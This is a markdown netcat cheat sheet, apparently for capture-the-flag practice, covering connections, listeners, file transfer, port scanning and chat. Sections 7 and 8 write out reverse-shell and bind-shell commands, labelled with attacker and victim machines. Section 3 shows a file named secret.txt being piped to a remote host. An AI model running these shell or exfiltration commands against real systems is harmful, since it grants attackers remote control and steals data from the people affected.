netcat-cheatsheet.md

Netcat (nc) Cheatsheet to help you with common use cases:

Netcat (nc) Cheatsheet

1. Basic Connection

nc <host> <port>

• Example:

  nc jupiter.challenges.picoctf.org 64287
• Connects to a remote server on the specified port.

2. Listen for Connections

nc -lvp <port>

• Example:

  nc -lvp 4444
• Listens on port 4444 for incoming connections.
  • -l → Listen mode
  • -v → Verbose (detailed output)
  • -p → Specify port

3. Send a File

nc <host> <port> < file.txt

• Example:

  nc 192.168.1.10 4444 < secret.txt
• Sends secret.txt to a remote machine listening on port 4444.

4. Receive a File

nc -lvp <port> > file.txt

• Example:

  nc -lvp 4444 > received.txt
• Receives a file and saves it as received.txt.

5. Create a Simple Chat

On Machine 1 (Listener)

nc -lvp 1234

On Machine 2 (Sender)

nc <Machine1_IP> 1234

• Now, anything typed on either machine is sent to the other.

6. Scan for Open Ports

nc -zv <host> <port_range>

• Example:

  nc -zv 192.168.1.1 1-1000
• Checks which ports are open on the target.

7. Establish a Reverse Shell

On Attacker's Machine (Listener)

nc -lvp 4444

On Victim’s Machine (Sender)

nc <attacker_IP> 4444 -e /bin/bash

• Grants shell access to the attacker.

8. Establish a Bind Shell

On Victim’s Machine (Listener)

nc -lvp 4444 -e /bin/bash

On Attacker’s Machine (Connect to Shell)

nc <victim_IP> 4444

9. Transfer Files Using Netcat & Tar

On Receiving Machine

nc -lvp 4444 | tar -xvf -

On Sending Machine

tar -cvf - /path/to/files | nc <receiver_IP> 4444

• Sends and extracts files over Netcat.